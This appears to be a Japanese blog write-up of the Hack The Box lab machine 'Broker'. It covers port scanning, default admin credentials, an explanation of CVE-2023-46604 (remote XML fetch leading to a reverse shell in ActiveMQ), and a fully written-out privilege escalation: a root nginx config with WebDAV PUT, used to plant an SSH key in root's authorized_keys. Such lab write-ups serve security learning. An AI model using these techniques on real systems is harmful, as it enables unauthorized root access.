![見出し画像](https://assets.st-note.com/production/uploads/images/160874283/rectangle_large_type_2_d98cf807a96d6b52ef11c172e2f3c288.png?width=1200)
HTB Broker
Port探索
nmap
$ nmap -sCV -A -v -Pn -p- --min-rate 5000 10.10.11.243 -oN nmap_result.txt
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp open mqtt
|_mqtt-subscribe: Failed to receive control packet from server.
5672/tcp open amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
8161/tcp open http Jetty 9.4.39.v20210325
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Error 401 Unauthorized
34643/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http Jetty 9.4.39.v20210325
| http-methods:
| Supported Methods: GET HEAD TRACE OPTIONS
|_ Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: Site doesn't have a title.
|_http-server-header: Jetty(9.4.39.v20210325)
61616/tcp open apachemq ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitalDelay
| ProviderVersion
|_ 5.15.15
これまでのマシンと比べるとめっちゃ空いてる。
ポート80探索
ログイン認証がありますが、どうやらadmin/adminで通ります。
![](https://assets.st-note.com/img/1730894569-EVzO0py3YfQU2FCLHKrl8ZI1.png)
ActiveMQというメッセージツールの管理画面のようです。
Broker V5.15.15とタイトル回収もされており興味深い。
![](https://assets.st-note.com/img/1730895631-Qlen4YTvAFchi81jDGpO9RH6.png?width=1200)
CVE-2023-46604
どうやらRCEができるようです。
早かった〜。
ってそういえばJavaよくわからない。
まずはCVEの内容を理解。
![](https://assets.st-note.com/img/1730896748-DlwOGW8LgVsp2ZKqkRd1Yyn5.png)
RCE
仕組み
Port 61616を使用して通信を行うOpenWireに脆弱性がある。
通信の中でXMLファイルを開けという命令が出せる。
更にそのXMLファイルはURL形式で書くとリモートに取りに行ってくれる。
そして、XMLファイルにReverseShellを仕込むことが可能とのこと。
ActiveMQはオープンソースなのでOpenWireの仕様も公開されている。
POC
ある程度内容を理解できたのでPOCを利用
![](https://assets.st-note.com/img/1730902783-ZSEcaCTPJQR9IbODkYfue7Wh.png?width=1200)
![](https://assets.st-note.com/img/1730902810-KsowWbdBOvEqXCg2YISRtnya.png?width=1200)
![](https://assets.st-note.com/img/1730902888-RmsWOhcpfJ8ZonwdMLgHSYE4.png)
Privilege Escalation
sudo -l
sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
設定ファイル作成
ルートディレクトリをエンドポイントにする
user root;
events {
worker_connections 1024;
}
http {
server {
listen 2024;
root /;
autoindex on;
dav_methods PUT;
}
}
$ sudo /usr/sbin/nginx -c root.conf
公開鍵作成
$ ssh-keygen -t rsa -b 4096
rootの公開鍵としてPUT
$ curl -X PUT http://localhost:2024/root/.ssh/authorized_keys -d "$(cat root.pub)"
ssh
![](https://assets.st-note.com/img/1730908182-rZPSbNklxuyo6eRtvCMhO57G.png)
今回の脆弱性
今回はActiveMQで使っているOpenWireの脆弱性でした。
自分が使っているソフトの脆弱性が出てたらすぐにアップデートが必要ですね。